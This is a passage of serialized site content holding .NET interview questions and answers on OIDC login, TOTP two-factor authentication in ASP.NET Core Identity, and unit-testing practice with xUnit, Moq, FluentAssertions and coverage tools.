OpenIdConnectResponseType.Code; \u002F\u002F authorization code flow\n        options.Scope.Add(\"openid\");\n        options.Scope.Add(\"profile\");\n        options.Scope.Add(\"email\");\n        options.SaveTokens    = true; \u002F\u002F persist access + refresh tokens in the cookie\n        options.CallbackPath  = \"\u002Fsignin-oidc\"; \u002F\u002F redirect URI registered with the provider\n        \u002F\u002F Map claims from the ID token to ClaimTypes:\n        options.ClaimActions.MapJsonKey(ClaimTypes.Email, \"email\");\n        options.ClaimActions.MapJsonKey(ClaimTypes.Name,  \"name\");\n    });\n\n\u002F\u002F After the flow completes, HttpContext.User is populated from the ID token.\n\u002F\u002F Access the saved access token later:\nvar accessToken = await HttpContext.GetTokenAsync(\"access_token\");\n```\n\n**Rule of thumb:** Use OAuth 2.0 when you need delegated API access. Use OIDC when you\nneed to know *who* the user is — it eliminates the need for a separate \u002Fuserinfo call\nand is the standard for federated login (Google, Microsoft, Okta, Auth0).\n",{"id":613,"difficulty":96,"q":614,"a":615},"two-factor-authentication","How do you implement two-factor authentication (2FA) with ASP.NET Core Identity?","ASP.NET Core Identity ships with built-in TOTP (time-based one-time password) 2FA.\nEnable it in Identity options, and the user must provide a TOTP code from an\nauthenticator app after their password.\n\n```csharp\n\u002F\u002F Register Identity with 2FA token provider:\nbuilder.Services\n    .AddIdentity\u003CApplicationUser, IdentityRole>(options =>\n    {\n        options.SignIn.RequireConfirmedAccount = true; \u002F\u002F require email confirmation\n    })\n    .AddEntityFrameworkStores\u003CAppDbContext>()\n    .AddDefaultTokenProviders(); \u002F\u002F includes TOTP provider\n\n\u002F\u002F Step 1 — enable 2FA for a user (generate QR code URI):\n[HttpPost(\"enable-2fa\")]\n[Authorize]\npublic async Task\u003CIActionResult> Enable2Fa()\n{\n    var user = await _userManager.GetUserAsync(User);\n    if (user is null) return NotFound();\n\n    \u002F\u002F Get the authenticator key (generate one if not set):\n    var unformattedKey = await _userManager.GetAuthenticatorKeyAsync(user);\n    if (string.IsNullOrEmpty(unformattedKey))\n    {\n        await _userManager.ResetAuthenticatorKeyAsync(user);\n        unformattedKey = await _userManager.GetAuthenticatorKeyAsync(user);\n    }\n\n    \u002F\u002F URI format for QR code scannable by Google Authenticator \u002F Authy:\n    var email    = await _userManager.GetEmailAsync(user);\n    var qrUri    = $\"otpauth:\u002F\u002Ftotp\u002FMyApp:{email}?secret={unformattedKey}&issuer=MyApp\";\n    return Ok(new { qrUri, manualKey = unformattedKey });\n}\n\n\u002F\u002F Step 2 — verify and enable (user enters code from authenticator app):\n[HttpPost(\"verify-2fa\")]\n[Authorize]\npublic async Task\u003CIActionResult> Verify2Fa([FromBody] TwoFactorDto dto)\n{\n    var user    = await _userManager.GetUserAsync(User);\n    var isValid = await _userManager.VerifyTwoFactorTokenAsync(\n        user!, _userManager.Options.Tokens.AuthenticatorTokenProvider, dto.Code);\n\n    if (!isValid) return BadRequest(\"Invalid code\");\n\n    await _userManager.SetTwoFactorEnabledAsync(user!, true);\n    return Ok(\"2FA enabled\");\n}\n\n\u002F\u002F Step 3 — login flow with 2FA:\n\u002F\u002F After password check, if user.TwoFactorEnabled:\n\u002F\u002F await _signInManager.PasswordSignInAsync → TwoFactorRequired result\n\u002F\u002F Prompt user for TOTP code, then:\nawait _signInManager.TwoFactorAuthenticatorSignInAsync(code, isPersistent: false, rememberClient: false);\n```\n\n**Rule of thumb:** Always generate new authenticator keys with `ResetAuthenticatorKeyAsync`\nwhen the user explicitly re-enrolls (not on first setup). Offer recovery codes so users\ncan regain access if they lose their authenticator device.\n",{"description":94},"ASP.NET Core authentication interview questions — cookie auth, ClaimsPrincipal, authentication schemes, custom handlers, and challenge vs forbid.","dotnet\u002Fsecurity\u002Fauthentication","XXr-SC2tCMdMceWstHHIi5Z2Ll3upBYIKYlziL0u7To",{"id":621,"title":622,"body":623,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":627,"navigation":99,"order":13,"path":628,"questions":629,"questionsCount":163,"related":164,"seo":690,"seoDescription":691,"stem":692,"subtopic":622,"topic":73,"topicSlug":74,"updated":168,"__hash__":693},"qa\u002Fdotnet\u002Ftesting\u002Funit-testing.md","Unit Testing",{"type":91,"value":624,"toc":625},[],{"title":94,"searchDepth":29,"depth":29,"links":626},[],{},"\u002Fdotnet\u002Ftesting\u002Funit-testing",[630,634,638,642,646,650,654,658,662,666,670,674,678,682,686],{"id":631,"difficulty":104,"q":632,"a":633},"unit-test-definition","What is a unit test and what makes a good unit test in .NET?","A **unit test** verifies a single unit of behavior (a method or class) in\ncomplete isolation from external dependencies. Good unit tests follow the\n**FIRST** properties: Fast, Isolated, Repeatable, Self-validating, Timely.\n\n```csharp\n\u002F\u002F xUnit example — testing a pure calculation with no external deps:\npublic class PriceCalculatorTests\n{\n    [Fact]\n    public void CalculateDiscount_WhenOver100_Returns10PercentOff()\n    {\n        \u002F\u002F Arrange — set up inputs\n        var calculator = new PriceCalculator();\n\n        \u002F\u002F Act — exercise the unit\n        var result = calculator.CalculateDiscount(totalPrice: 150m);\n\n        \u002F\u002F Assert — verify one logical outcome\n        Assert.Equal(135m, result);\n    }\n\n    \u002F\u002F Bad test — asserts multiple unrelated outcomes in one test\n    \u002F\u002F Makes failures ambiguous; keep each test focused on one behaviour\n    [Fact]\n    public void BadTest_TooManyAsserts()\n    {\n        var c = new PriceCalculator();\n        Assert.Equal(135m, c.CalculateDiscount(150m)); \u002F\u002F 10% off\n        Assert.Equal(100m, c.CalculateDiscount(100m)); \u002F\u002F no discount\n        Assert.Equal(0m,   c.CalculateDiscount(0m));   \u002F\u002F zero\n    }\n}\n```\n\nA unit test should fail for exactly one reason. If it can fail for multiple\nreasons, split it into multiple tests.\n\n**Rule of thumb:** A unit test that touches the database, filesystem, or network\nis an integration test in disguise — extract the dependency and mock it instead.\n",{"id":635,"difficulty":104,"q":636,"a":637},"xunit-vs-nunit-vs-mstest","What are the differences between xUnit, NUnit, and MSTest?","All three are supported by the .NET test runner, but they differ in philosophy\nand syntax. **xUnit** is the modern default for new .NET projects. **NUnit** is\nolder but feature-rich. **MSTest** ships with Visual Studio and is Microsoft's\nfirst-party framework.\n\n```csharp\n\u002F\u002F Test marker attributes — same idea, different names:\n\n\u002F\u002F xUnit\n[Fact]            \u002F\u002F single test\n[Theory]          \u002F\u002F data-driven test\n[InlineData(1,2)] \u002F\u002F inline dataset\n\n\u002F\u002F NUnit\n[Test]\n[TestCase(1, 2)]\n[TestFixture]     \u002F\u002F marks the test class\n\n\u002F\u002F MSTest\n[TestMethod]\n[DataTestMethod]\n[DataRow(1, 2)]\n[TestClass]       \u002F\u002F marks the test class\n\n\u002F\u002F xUnit creates a new instance per test (isolation by design):\npublic class XUnitTests\n{\n    private readonly List\u003Cint> _items = new(); \u002F\u002F fresh per test\n    [Fact] public void Test1() => _items.Add(1);\n    [Fact] public void Test2() => _items.Add(2); \u002F\u002F _items is always empty here\n}\n\n\u002F\u002F NUnit\u002FMSTest reuse the same instance — use [SetUp]\u002F[TestInitialize] to reset:\n[TestFixture]\npublic class NUnitTests\n{\n    private List\u003Cint> _items;\n    [SetUp] public void Setup() => _items = new List\u003Cint>(); \u002F\u002F reset each time\n}\n```\n\nKey xUnit differentiator: no `[SetUp]`\u002F`[TearDown]` — use constructor for setup\nand `IDisposable` for teardown, which makes the lifecycle explicit.\n\n**Rule of thumb:** Choose xUnit for new projects; it enforces better isolation\npatterns by design. Match the framework your team already uses if joining existing code.\n",{"id":639,"difficulty":104,"q":640,"a":641},"arrange-act-assert","What is the Arrange-Act-Assert pattern and why does it matter?","**Arrange-Act-Assert (AAA)** is a structural convention for writing tests clearly.\nIt separates setup, execution, and verification into three distinct phases, making\nthe test's intent immediately readable.\n\n```csharp\npublic class OrderServiceTests\n{\n    [Fact]\n    public void PlaceOrder_WhenStockAvailable_ReturnsConfirmedOrder()\n    {\n        \u002F\u002F Arrange — prepare everything the test needs\n        var mockInventory = new Mock\u003CIInventoryService>();\n        mockInventory\n            .Setup(i => i.IsInStock(\"SKU-42\", quantity: 2))\n            .Returns(true);\n\n        var service = new OrderService(mockInventory.Object);\n        var order   = new Order { Sku = \"SKU-42\", Quantity = 2 };\n\n        \u002F\u002F Act — call exactly ONE thing being tested\n        var result = service.PlaceOrder(order);\n\n        \u002F\u002F Assert — verify the expected outcome\n        Assert.Equal(OrderStatus.Confirmed, result.Status);\n    }\n}\n\n\u002F\u002F Common mistake: Arrange inside Assert section\n\u002F\u002F [Fact]\n\u002F\u002F public void BadLayout()\n\u002F\u002F {\n\u002F\u002F var service = new OrderService(); \u002F\u002F scattered setup\n\u002F\u002F var result  = service.PlaceOrder(new Order { Sku = \"X\" });\n\u002F\u002F var expected = OrderStatus.Confirmed; \u002F\u002F computed in assert block\n\u002F\u002F Assert.Equal(expected, result.Status);\n\u002F\u002F }\n```\n\nWhen a test fails, the three-section structure tells you immediately whether\nsetup failed (Arrange), the wrong method was called (Act), or the result\nwas wrong (Assert).\n\n**Rule of thumb:** If your Act section has more than one line, you are probably\ntesting two things — split it.\n",{"id":643,"difficulty":104,"q":644,"a":645},"test-naming-conventions","What naming conventions are used for unit tests in .NET?","Test names should communicate what is being tested, under what condition, and\nwhat the expected outcome is — without needing to read the body.\n\n```csharp\n\u002F\u002F Pattern 1 — MethodName_Scenario_ExpectedResult (most common):\npublic void CalculateDiscount_WhenOrderOver100_Returns10Percent()\npublic void Login_WithInvalidPassword_ThrowsUnauthorizedException()\npublic void GetUser_WhenUserDoesNotExist_ReturnsNull()\n\n\u002F\u002F Pattern 2 — Given_When_Then (BDD style, popular with NUnit\u002FGherkin):\npublic void Given_OrderOver100_When_DiscountCalculated_Then_Returns10Percent()\n\n\u002F\u002F Pattern 3 — natural language (xUnit with DisplayName):\n[Fact(DisplayName = \"Discount is 10% when order total exceeds $100\")]\npublic void Discount_Applied_For_Large_Orders() { }\n\n\u002F\u002F Test class naming — mirrors the class under test:\npublic class PriceCalculatorTests { }   \u002F\u002F testing PriceCalculator\npublic class OrderServiceTests { }      \u002F\u002F testing OrderService\n\n\u002F\u002F File placement — same namespace structure in a separate test project:\n\u002F\u002F src\u002FMyApp\u002FServices\u002FOrderService.cs\n\u002F\u002F tests\u002FMyApp.Tests\u002FServices\u002FOrderServiceTests.cs\n```\n\nA well-named test acts as living documentation: the test report should read like\na specification of the system's expected behavior.\n\n**Rule of thumb:** If you need to read the test body to understand what it tests,\nthe name is not descriptive enough.\n",{"id":647,"difficulty":96,"q":648,"a":649},"data-driven-tests","How do you write data-driven (parameterised) tests in xUnit?","xUnit uses `[Theory]` with `[InlineData]`, `[MemberData]`, or `[ClassData]`\nto run the same test logic against multiple inputs without code duplication.\n\n```csharp\npublic class DiscountCalculatorTests\n{\n    \u002F\u002F [InlineData] — simplest: literals in the attribute\n    [Theory]\n    [InlineData(50,  50)]   \u002F\u002F below threshold → no discount\n    [InlineData(100, 100)]  \u002F\u002F exactly at threshold → no discount\n    [InlineData(150, 135)]  \u002F\u002F above threshold → 10% off\n    [InlineData(200, 180)]\n    public void CalculateDiscount_ReturnsExpectedPrice(\n        decimal input, decimal expected)\n    {\n        var calc   = new DiscountCalculator();\n        var result = calc.Calculate(input);\n        Assert.Equal(expected, result);\n    }\n\n    \u002F\u002F [MemberData] — use when datasets are complex or reused\n    public static IEnumerable\u003Cobject[]> InvalidOrders => new[]\n    {\n        new object[] { null,                   \"order\" },\n        new object[] { new Order { Qty = 0 },  \"qty\"   },\n        new object[] { new Order { Sku = \"\" },  \"sku\"  },\n    };\n\n    [Theory]\n    [MemberData(nameof(InvalidOrders))]\n    public void PlaceOrder_WithInvalidInput_ThrowsArgumentException(\n        Order order, string paramName)\n    {\n        var svc = new OrderService();\n        var ex  = Assert.Throws\u003CArgumentException>(() => svc.PlaceOrder(order));\n        Assert.Contains(paramName, ex.ParamName);\n    }\n}\n```\n\n`[ClassData]` is for when the dataset logic belongs in its own class (useful\nfor complex generation or when the data source is shared across test classes).\n\n**Rule of thumb:** Use `[InlineData]` for simple literals, `[MemberData]` when\nthe dataset is large or shared, and `[ClassData]` when the dataset needs its\nown setup logic.\n",{"id":651,"difficulty":96,"q":652,"a":653},"test-isolation","How do you achieve test isolation in .NET unit tests?","Test isolation means each test runs independently — no shared mutable state,\nno ordering dependency, no side effects that bleed between tests.\n\n```csharp\n\u002F\u002F Problem: shared static state breaks isolation\npublic class BadTests\n{\n    private static List\u003Cstring> _log = new(); \u002F\u002F shared across all tests!\n\n    [Fact] public void Test1() { _log.Add(\"a\"); Assert.Single(_log); }\n    [Fact] public void Test2() { _log.Add(\"b\"); Assert.Single(_log); } \u002F\u002F may fail!\n}\n\n\u002F\u002F Fix 1: xUnit creates a new instance per test — use instance fields\npublic class GoodTests\n{\n    private readonly List\u003Cstring> _log = new(); \u002F\u002F fresh per test instance\n\n    [Fact] public void Test1() { _log.Add(\"a\"); Assert.Single(_log); }\n    [Fact] public void Test2() { _log.Add(\"b\"); Assert.Single(_log); }\n}\n\n\u002F\u002F Fix 2: shared expensive resources use IClassFixture (created once, shared read-only)\npublic class DatabaseFixture : IDisposable\n{\n    public SqliteConnection Db { get; } = new(\"Data Source=:memory:\");\n    public DatabaseFixture() { Db.Open(); \u002F* seed schema *\u002F }\n    public void Dispose()    { Db.Close(); }\n}\n\n\u002F\u002F IClassFixture\u003CT> — one fixture instance shared across all tests in the class\npublic class QueryTests : IClassFixture\u003CDatabaseFixture>\n{\n    private readonly DatabaseFixture _fixture;\n    public QueryTests(DatabaseFixture fixture) => _fixture = fixture;\n\n    [Fact] public void Query_ReturnsResults() { \u002F* uses _fixture.Db *\u002F }\n}\n```\n\nFor shared state across multiple test classes, use `ICollectionFixture\u003CT>`\nwith `[Collection(\"name\")]`.\n\n**Rule of thumb:** Mutate instance fields freely — xUnit's per-instance model\nkeeps them isolated. Reserve `IClassFixture` only for expensive setup (in-memory\ndatabases, servers) that is too slow to rebuild per test.\n",{"id":655,"difficulty":96,"q":656,"a":657},"testing-exceptions","How do you test that a method throws the correct exception in xUnit?","xUnit provides `Assert.Throws\u003CT>` and `Assert.ThrowsAsync\u003CT>` to verify that\na specific exception type is thrown. You can also inspect the exception instance.\n\n```csharp\npublic class OrderServiceTests\n{\n    [Fact]\n    public void PlaceOrder_WithNullOrder_ThrowsArgumentNullException()\n    {\n        var service = new OrderService();\n\n        \u002F\u002F Assert.Throws returns the exception so you can inspect it\n        var ex = Assert.Throws\u003CArgumentNullException>(\n            () => service.PlaceOrder(null));\n\n        Assert.Equal(\"order\", ex.ParamName); \u002F\u002F verify the parameter name\n    }\n\n    [Fact]\n    public async Task PlaceOrderAsync_WhenOutOfStock_ThrowsInvalidOperationException()\n    {\n        var mockInventory = new Mock\u003CIInventoryService>();\n        mockInventory.Setup(i => i.IsInStock(It.IsAny\u003Cstring>(), It.IsAny\u003Cint>()))\n                     .ReturnsAsync(false);\n\n        var service = new OrderService(mockInventory.Object);\n\n        \u002F\u002F Async exception testing:\n        var ex = await Assert.ThrowsAsync\u003CInvalidOperationException>(\n            () => service.PlaceOrderAsync(new Order { Sku = \"X\", Quantity = 1 }));\n\n        Assert.Contains(\"out of stock\", ex.Message, StringComparison.OrdinalIgnoreCase);\n    }\n\n    \u002F\u002F Common mistake — this does NOT test the exception; it catches and swallows it:\n    \u002F\u002F [Fact]\n    \u002F\u002F public void WrongWay()\n    \u002F\u002F {\n    \u002F\u002F try { service.PlaceOrder(null); }\n    \u002F\u002F catch (ArgumentNullException) { } \u002F\u002F test passes even if no exception thrown!\n    \u002F\u002F }\n}\n```\n\n`Record.Exception` is an alternative that captures the exception without\nasserting type — useful when you want to assert multiple properties of the same\nexception without re-calling the method.\n\n**Rule of thumb:** Always use `Assert.Throws`\u002F`Assert.ThrowsAsync`, never bare\ntry-catch in tests — the bare form cannot distinguish \"threw nothing\" from \"threw\nthe right exception.\"\n",{"id":659,"difficulty":96,"q":660,"a":661},"test-doubles","What are the different types of test doubles and when do you use each?","**Test doubles** are objects that stand in for real dependencies. The five types\ndiffer in how much behavior they provide.\n\n```csharp\n\u002F\u002F 1. Dummy — passed but never used (fills a required parameter)\nvar dummyLogger = new Mock\u003CILogger>().Object;\nvar service = new OrderService(dummyLogger, realRepository);\n\n\u002F\u002F 2. Stub — returns canned answers to method calls\nvar stubInventory = new Mock\u003CIInventoryService>();\nstubInventory.Setup(i => i.IsInStock(\"SKU-1\", 2)).Returns(true);\n\u002F\u002F No verification — we just want a fixed answer\n\n\u002F\u002F 3. Mock — verifies interactions (was a method called?)\nvar mockEmailer = new Mock\u003CIEmailService>();\nservice.PlaceOrder(order);\nmockEmailer.Verify(e => e.SendConfirmation(order.Email), Times.Once);\n\u002F\u002F Fails if SendConfirmation was never called\n\n\u002F\u002F 4. Spy — records calls for later inspection (less common with Moq)\nvar calls = new List\u003Cstring>();\nmockEmailer.Setup(e => e.SendConfirmation(It.IsAny\u003Cstring>()))\n           .Callback\u003Cstring>(email => calls.Add(email));\n\n\u002F\u002F 5. Fake — a working but simplified implementation\n\u002F\u002F An in-memory repository is the classic fake:\npublic class FakeOrderRepository : IOrderRepository\n{\n    private readonly List\u003COrder> _store = new();\n    public void   Add(Order o) => _store.Add(o);\n    public Order? Get(int id)  => _store.FirstOrDefault(o => o.Id == id);\n}\n```\n\nFakes are usually hand-written; stubs, mocks, and spies are usually created\nwith a mocking library like Moq or NSubstitute.\n\n**Rule of thumb:** Use stubs when you need controlled return values, mocks when\nyou need to verify behavior, and fakes when the interaction is too complex to\nstub realistically.\n",{"id":663,"difficulty":96,"q":664,"a":665},"testable-code-design","What design practices make .NET code easier to unit test?","Testability is a design quality, not a testing afterthought. The key practices\nall reduce coupling and surface dependencies explicitly.\n\n```csharp\n\u002F\u002F Hard to test — hidden dependency, static call, can't inject a fake:\npublic class ReportService\n{\n    public string GenerateReport()\n    {\n        var data = Database.Query(\"SELECT ...\"); \u002F\u002F static, untestable\n        return FormatData(data);\n    }\n}\n\n\u002F\u002F Testable — dependency injected, interface-typed, fakeable:\npublic class ReportService\n{\n    private readonly IDataRepository _repo;\n    public ReportService(IDataRepository repo) => _repo = repo;\n\n    public string GenerateReport()\n    {\n        var data = _repo.Query(\"SELECT ...\");\n        return FormatData(data);\n    }\n}\n\n\u002F\u002F Other testability enablers:\n\u002F\u002F 1. Small, focused classes — SRP means less setup per test\n\u002F\u002F 2. Avoid static methods and singletons — they become test pollution\n\u002F\u002F 3. Avoid new-ing dependencies inside methods — use DI instead\n\u002F\u002F 4. Return values rather than mutating parameters — easier to assert\n\u002F\u002F 5. Make side-effecting methods take an interface (IEmailSender, IClock)\n\n\u002F\u002F Testable time — inject IClock so tests can control \"now\":\npublic interface IClock { DateTime UtcNow { get; } }\npublic class SystemClock : IClock { public DateTime UtcNow => DateTime.UtcNow; }\n\n\u002F\u002F In tests:\nvar fakeClock = new Mock\u003CIClock>();\nfakeClock.Setup(c => c.UtcNow).Returns(new DateTime(2026, 1, 1));\n```\n\n**Rule of thumb:** If you cannot instantiate a class in a test without spinning\nup a real database or network, the class is not designed for testability — inject\nits dependencies instead.\n",{"id":667,"difficulty":96,"q":668,"a":669},"code-coverage","What is code coverage and how do you measure it in .NET?","**Code coverage** measures what percentage of production code is executed by\ntests. It is a useful signal but not a goal in itself — 100% coverage does not\nmean the code is correct.\n\n```bash\n# Measure coverage with coverlet (installed via NuGet in test project):\ndotnet add package coverlet.collector\n\n# Run tests and collect coverage:\ndotnet test --collect:\"XPlat Code Coverage\"\n# Produces a coverage.cobertura.xml in TestResults\u002F\n\n# Generate an HTML report with ReportGenerator:\ndotnet tool install -g dotnet-reportgenerator-globaltool\nreportgenerator -reports:\"**\u002Fcoverage.cobertura.xml\" -targetdir:\"coverage-report\"\n```\n\n```csharp\n\u002F\u002F ExcludeFromCodeCoverage — exclude generated or trivial code from metrics:\n[ExcludeFromCodeCoverage]\npublic class AutoGeneratedDto { \u002F* property getters *\u002F }\n\n\u002F\u002F Branch coverage vs line coverage:\npublic string Classify(int n)\n{\n    if (n > 0) return \"positive\"; \u002F\u002F line 1\n    if (n \u003C 0) return \"negative\"; \u002F\u002F line 2\n    return \"zero\";                \u002F\u002F line 3\n    \u002F\u002F 100% line coverage needs 3 tests (one per return)\n    \u002F\u002F 100% branch coverage also needs to test n==0 reaching line 3\n}\n```\n\nAim for high coverage of business logic and edge cases; do not chase coverage\nin generated code, configuration bootstrapping, or trivial property accessors.\n\n**Rule of thumb:** 70–80% line coverage on core business logic is a healthy\ntarget. Coverage below 50% is a warning sign; 100% is usually not worth the\nmaintenance cost unless safety-critical.\n",{"id":671,"difficulty":96,"q":672,"a":673},"xunit-constructor-disposable","How does xUnit use the constructor and IDisposable for test setup and teardown?","xUnit deliberately avoids `[SetUp]`\u002F`[TearDown]` attributes in favour of the\nstandard C# lifecycle: **constructor** for setup and **IDisposable.Dispose**\nfor teardown. A new instance is created per test.\n\n```csharp\npublic class FileProcessorTests : IDisposable\n{\n    private readonly string  _tempFile;\n    private readonly FileProcessor _processor;\n\n    \u002F\u002F Constructor = [SetUp]: runs before EACH test\n    public FileProcessorTests()\n    {\n        _tempFile  = Path.GetTempFileName();\n        _processor = new FileProcessor();\n        File.WriteAllText(_tempFile, \"test data\"); \u002F\u002F prepare test fixture\n    }\n\n    [Fact]\n    public void Process_ValidFile_ReturnsLineCount()\n    {\n        var count = _processor.CountLines(_tempFile);\n        Assert.Equal(1, count);\n    }\n\n    [Fact]\n    public void Process_EmptyFile_ReturnsZero()\n    {\n        File.WriteAllText(_tempFile, \"\");\n        var count = _processor.CountLines(_tempFile);\n        Assert.Equal(0, count);\n    }\n\n    \u002F\u002F IDisposable.Dispose = [TearDown]: runs after EACH test\n    public void Dispose()\n    {\n        if (File.Exists(_tempFile))\n            File.Delete(_tempFile); \u002F\u002F clean up regardless of pass\u002Ffail\n    }\n}\n\n\u002F\u002F For async teardown, implement IAsyncLifetime instead:\npublic class AsyncSetupTests : IAsyncLifetime\n{\n    public async Task InitializeAsync() { \u002F* async setup *\u002F }\n    public async Task DisposeAsync()    { \u002F* async teardown *\u002F }\n    [Fact] public void Test() { }\n}\n```\n\n**Rule of thumb:** Implement `IDisposable` in every test class that acquires\nunmanaged resources (files, sockets, database connections). This ensures cleanup\neven when a test throws.\n",{"id":675,"difficulty":96,"q":676,"a":677},"fluent-assertions","What is FluentAssertions and why do developers prefer it over built-in xUnit asserts?","**FluentAssertions** is a NuGet library that provides a natural-language API\nfor assertions. It produces richer failure messages and reads closer to spoken\nEnglish than the positional `Assert.Equal(expected, actual)` style.\n\n```csharp\n\u002F\u002F Installation:\n\u002F\u002F dotnet add package FluentAssertions\n\n\u002F\u002F xUnit built-in — argument order matters and errors are terse:\nAssert.Equal(expected: 42,      actual: result);   \u002F\u002F \"Expected: 42\\nActual: 43\"\nAssert.True(list.Contains(\"x\")); \u002F\u002F \"Assert.True() Failure: Expected: True, Actual: False\"\n\n\u002F\u002F FluentAssertions — reads as a sentence, errors name the violated condition:\nresult.Should().Be(42);\nlist.Should().Contain(\"x\");\nlist.Should().HaveCount(3).And.NotContain(\"y\");\n\n\u002F\u002F Collection assertions:\norders.Should().AllSatisfy(o => o.Total.Should().BePositive());\norders.Should().BeInAscendingOrder(o => o.PlacedAt);\n\n\u002F\u002F Exception assertions (alternative to Assert.Throws):\nAction act = () => service.PlaceOrder(null);\nact.Should().Throw\u003CArgumentNullException>()\n     .WithParameterName(\"order\")\n     .WithMessage(\"*cannot be null*\");\n\n\u002F\u002F Async:\nFunc\u003CTask> asyncAct = () => service.PlaceOrderAsync(null);\nawait asyncAct.Should().ThrowAsync\u003CArgumentNullException>();\n```\n\nThe failure message for `list.Should().Contain(\"x\")` is:\n`Expected list {\"a\", \"b\"} to contain \"x\".`\nThat's immediately actionable without reading the test body.\n\n**Rule of thumb:** Use FluentAssertions in any project where test failures need\nto be quickly diagnosed by the whole team — the self-describing messages cut\ndebugging time significantly.\n",{"id":679,"difficulty":206,"q":680,"a":681},"inner-classes-helper-methods","How do you organise large test classes to keep them maintainable?","Large test classes become hard to navigate. Three common techniques keep them\nclean: **nested classes**, **shared builder helpers**, and **test base classes**.\n\n```csharp\n\u002F\u002F 1. Nested classes — group tests by method or scenario:\npublic class OrderServiceTests\n{\n    public class PlaceOrder\n    {\n        [Fact] public void WhenNull_Throws() { }\n        [Fact] public void WhenOutOfStock_Throws() { }\n        [Fact] public void WhenValid_ReturnsConfirmed() { }\n    }\n\n    public class CancelOrder\n    {\n        [Fact] public void WhenAlreadyCancelled_Throws() { }\n        [Fact] public void WhenPending_SetsStatusCancelled() { }\n    }\n}\n\u002F\u002F xUnit discovers nested public classes automatically\n\n\u002F\u002F 2. Object Mother \u002F Builder — remove Arrange duplication:\npublic static class OrderBuilder\n{\n    public static Order Valid() => new Order\n        { Sku = \"SKU-1\", Quantity = 1, CustomerId = Guid.NewGuid() };\n\n    public static Order WithQuantity(int qty)\n        => Valid() with { Quantity = qty };\n}\n\n\u002F\u002F In tests:\nvar order = OrderBuilder.WithQuantity(5);\n\n\u002F\u002F 3. Abstract base class — share setup across multiple test classes:\npublic abstract class OrderServiceTestBase\n{\n    protected readonly Mock\u003CIInventoryService> MockInventory = new();\n    protected readonly OrderService Service;\n    protected OrderServiceTestBase()\n        => Service = new OrderService(MockInventory.Object);\n}\n\npublic class PlaceOrderTests : OrderServiceTestBase\n{\n    [Fact] public void Valid_ReturnsConfirmed()\n    {\n        MockInventory.Setup(i => i.IsInStock(It.IsAny\u003Cstring>(), 1)).Returns(true);\n        var result = Service.PlaceOrder(OrderBuilder.Valid());\n        Assert.Equal(OrderStatus.Confirmed, result.Status);\n    }\n}\n```\n\n**Rule of thumb:** Reach for nested classes first — they add structure with\nzero new files. Extract a builder when three or more tests share the same\nArrange block.\n",{"id":683,"difficulty":96,"q":684,"a":685},"testing-async-methods","How do you write unit tests for async methods in xUnit?","xUnit supports `async Task` test methods natively. You `await` the method\nunder test directly in the test body — no `.Result` or `.Wait()`, which\nwould deadlock or swallow exceptions.\n\n```csharp\npublic class OrderServiceAsyncTests\n{\n    [Fact]\n    public async Task PlaceOrderAsync_WhenValid_ReturnsConfirmedOrder()\n    {\n        \u002F\u002F Arrange\n        var mockInventory = new Mock\u003CIInventoryService>();\n        mockInventory\n            .Setup(i => i.IsInStockAsync(\"SKU-1\", 2))\n            .ReturnsAsync(true);\n\n        var service = new OrderService(mockInventory.Object);\n        var order   = new Order { Sku = \"SKU-1\", Quantity = 2 };\n\n        \u002F\u002F Act — await directly; xUnit handles the async state machine\n        var result = await service.PlaceOrderAsync(order);\n\n        \u002F\u002F Assert\n        Assert.Equal(OrderStatus.Confirmed, result.Status);\n    }\n\n    \u002F\u002F Testing async exceptions:\n    [Fact]\n    public async Task PlaceOrderAsync_WhenOutOfStock_ThrowsInvalidOperationException()\n    {\n        var mockInventory = new Mock\u003CIInventoryService>();\n        mockInventory\n            .Setup(i => i.IsInStockAsync(It.IsAny\u003Cstring>(), It.IsAny\u003Cint>()))\n            .ReturnsAsync(false);\n\n        var service = new OrderService(mockInventory.Object);\n\n        \u002F\u002F Assert.ThrowsAsync — await it or the exception goes unobserved:\n        await Assert.ThrowsAsync\u003CInvalidOperationException>(\n            () => service.PlaceOrderAsync(new Order { Sku = \"X\", Quantity = 1 }));\n    }\n\n    \u002F\u002F Bad: .Result deadlocks in some synchronization contexts\n    \u002F\u002F and converts exceptions to AggregateException:\n    \u002F\u002F var result = service.PlaceOrderAsync(order).Result; \u002F\u002F Never do this in tests\n}\n```\n\nMark the test method `async Task` (not `async void`) — `async void` tests\ncomplete before the awaited work finishes, making them silently unreliable.\n\n**Rule of thumb:** Always return `Task` from async tests and `await` every\nasync call. An `async void` test that throws will crash the test runner\nprocess rather than fail the test gracefully.\n",{"id":687,"difficulty":96,"q":688,"a":689},"testing-private-methods","Should you test private methods directly, and if not, how do you ensure they are covered?","Private methods are **implementation details** — they should be tested\nindirectly through the public API. Testing them directly couples tests to\ninternal structure, making refactoring painful without changing behavior.\n\n```csharp\n\u002F\u002F Bad: exposing a private method just to test it directly\npublic class InvoiceService\n{\n    \u002F\u002F Made internal only to allow testing — wrong motivation:\n    internal decimal ApplyLateFee(decimal amount, int daysLate)\n        => amount + (daysLate > 30 ? 50m : 0m);\n}\n\n\u002F\u002F Good: test through the public method that delegates to the private one\npublic class InvoiceServiceTests\n{\n    [Theory]\n    [InlineData(29, 100m, 100m)] \u002F\u002F not late enough — no fee\n    [InlineData(30, 100m, 100m)] \u002F\u002F exactly 30 days — no fee\n    [InlineData(31, 100m, 150m)] \u002F\u002F over 30 days — $50 late fee applied\n    public void FinalizeInvoice_AppliesLateFeeWhenOverdue(\n        int daysLate, decimal subtotal, decimal expected)\n    {\n        var service  = new InvoiceService();\n        var invoice  = new Invoice { Subtotal = subtotal, DaysLate = daysLate };\n\n        var result = service.FinalizeInvoice(invoice); \u002F\u002F public method\n\n        Assert.Equal(expected, result.Total);\n    }\n}\n\n\u002F\u002F When a private method is genuinely complex and hard to reach:\n\u002F\u002F Option 1 — extract it to a separate class with a public method\n\u002F\u002F Option 2 — use [InternalsVisibleTo] + internal access (sparingly)\n\u002F\u002F Option 3 — reflect on it via PrivateObject (legacy MSTest; fragile)\n\n\u002F\u002F The need to test a private method directly is usually a signal that\n\u002F\u002F the method belongs in its own class with a clear public contract.\n```\n\nIf a private method is so complex it needs its own test, extract it into\na collaborating class with a public interface.\n\n**Rule of thumb:** Test behavior, not implementation. If you cannot reach a\nprivate method through the public API with reasonable effort, the class is\nprobably doing too much — split it.\n",{"description":94},"Unit testing interview questions — xUnit vs NUnit, Arrange-Act-Assert, data-driven tests, test isolation, FluentAssertions, and testable code 